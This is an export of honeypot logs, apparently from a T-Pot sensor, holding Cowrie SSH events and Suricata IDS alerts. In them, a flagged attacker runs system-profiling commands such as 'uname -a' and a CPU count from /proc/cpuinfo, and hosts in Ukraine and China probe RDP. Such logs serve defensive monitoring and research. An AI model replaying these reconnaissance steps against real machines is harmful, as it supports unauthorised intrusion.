20319	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:18.636153+03	2021-09-20 14:15:02.226613+03	{"_id": "DAXeAnwBvYTbRNuE9ve9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "91.200.124.7", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07700681686401367, "duplicate": true, "timestamp": "2021-09-20T11:02:18.636153Z", "@timestamp": "2021-09-20T11:02:18.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20320	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:18.865568+03	2021-09-20 14:15:02.227614+03	{"_id": "CwXeAnwBvYTbRNuE9ve9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "91.200.124.7", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07718420028686523, "duplicate": true, "timestamp": "2021-09-20T11:02:18.865568Z", "@timestamp": "2021-09-20T11:02:18.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20321	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:18.332428+03	2021-09-20 14:15:02.229612+03	{"_id": "DwXeAnwBvYTbRNuE9ve9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:18.332428Z", "@timestamp": "2021-09-20T11:02:18.332Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20322	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.119429+03	2021-09-20 14:15:02.230613+03	{"_id": "EgXeAnwBvYTbRNuE-vem", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "91.200.124.7", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07616615295410156, "duplicate": true, "timestamp": "2021-09-20T11:02:19.119429Z", "@timestamp": "2021-09-20T11:02:19.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20323	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.043909+03	2021-09-20 14:15:02.231614+03	{"_id": "EQXeAnwBvYTbRNuE-vem", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:19.043909Z", "@timestamp": "2021-09-20T11:02:19.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20324	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.533366+03	2021-09-20 14:15:02.232613+03	{"_id": "FAXeAnwBvYTbRNuE-vem", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:19.533366Z", "@timestamp": "2021-09-20T11:02:19.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20325	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.611191+03	2021-09-20 14:15:02.233613+03	{"_id": "GAXeAnwBvYTbRNuE-vem", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "91.200.124.7", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07790541648864746, "duplicate": true, "timestamp": "2021-09-20T11:02:19.611191Z", "@timestamp": "2021-09-20T11:02:19.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20326	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:20.554555+03	2021-09-20 14:15:02.235614+03	{"_id": "JAXeAnwBvYTbRNuE_veP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "91.200.124.7", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.0789954662322998, "duplicate": true, "timestamp": "2021-09-20T11:02:20.554555Z", "@timestamp": "2021-09-20T11:02:20.554Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20327	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:20.708534+03	2021-09-20 14:15:02.236613+03	{"_id": "JQXeAnwBvYTbRNuE_veP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:20.708534Z", "@timestamp": "2021-09-20T11:02:20.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20328	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:20.476205+03	2021-09-20 14:15:02.237613+03	{"_id": "IwXeAnwBvYTbRNuE_veP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:20.476205Z", "@timestamp": "2021-09-20T11:02:20.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20342	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:20.072907+03	2021-09-20 14:15:02.254612+03	{"_id": "HgXeAnwBvYTbRNuE_veP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "91.200.124.7", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.08003568649291992, "duplicate": true, "timestamp": "2021-09-20T11:02:20.072907Z", "@timestamp": "2021-09-20T11:02:20.072Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20329	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:02:13.961464+03	2021-09-20 14:15:02.238613+03	{"_id": "uQXeAnwBvYTbRNuE5vZQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:02:13.619946+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 848972934903210, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51927, "dest_port": 3389, "timestamp": "2021-09-20T11:02:13.961464Z", "@timestamp": "2021-09-20T11:02:13.961Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20330	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:02:14.195207+03	2021-09-20 14:15:02.239614+03	{"_id": "uwXeAnwBvYTbRNuE5vZR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 503676891742827, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35852, "dest_port": 22, "timestamp": "2021-09-20T11:02:14.195207Z", "@timestamp": "2021-09-20T11:02:14.195Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20331	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:02:13.961464+03	2021-09-20 14:15:02.241613+03	{"_id": "uAXeAnwBvYTbRNuE5vZQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:02:13.619946+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 848972934903210, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51927, "dest_port": 3389, "timestamp": "2021-09-20T11:02:13.961464Z", "@timestamp": "2021-09-20T11:02:13.961Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20332	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:02:14.028459+03	2021-09-20 14:15:02.242614+03	{"_id": "ugXeAnwBvYTbRNuE5vZQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:02:13.619946+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 848972934903210, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 51927, "timestamp": "2021-09-20T11:02:14.028459Z", "@timestamp": "2021-09-20T11:02:14.028Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
20343	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:20.24852+03	2021-09-20 14:15:02.255613+03	{"_id": "IAXeAnwBvYTbRNuE_veP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:20.248520Z", "@timestamp": "2021-09-20T11:02:20.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20333	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:02:14.364483+03	2021-09-20 14:15:02.243614+03	{"_id": "vAXeAnwBvYTbRNuE5vZR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:02:13.619946+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 848972934903210, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51927, "dest_port": 3389, "timestamp": "2021-09-20T11:02:14.364483Z", "@timestamp": "2021-09-20T11:02:14.364Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20334	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:02:14.364483+03	2021-09-20 14:15:02.244613+03	{"_id": "vQXeAnwBvYTbRNuE5vZR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:02:13.619946+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 848972934903210, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51927, "dest_port": 3389, "timestamp": "2021-09-20T11:02:14.364483Z", "@timestamp": "2021-09-20T11:02:14.364Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20335	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:02:14.579103+03	2021-09-20 14:15:02.245613+03	{"_id": "vgXeAnwBvYTbRNuE5vZR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 1209565504247080, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35878, "dest_port": 22, "timestamp": "2021-09-20T11:02:14.579103Z", "@timestamp": "2021-09-20T11:02:14.579Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20336	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:02:06.000576+03	2021-09-20 14:15:02.246612+03	{"_id": "oQXeAnwBvYTbRNuEyvb0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:05.270115+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 354267859853091, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 11589, "timestamp": "2021-09-20T11:02:06.000576Z", "@timestamp": "2021-09-20T11:02:06.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
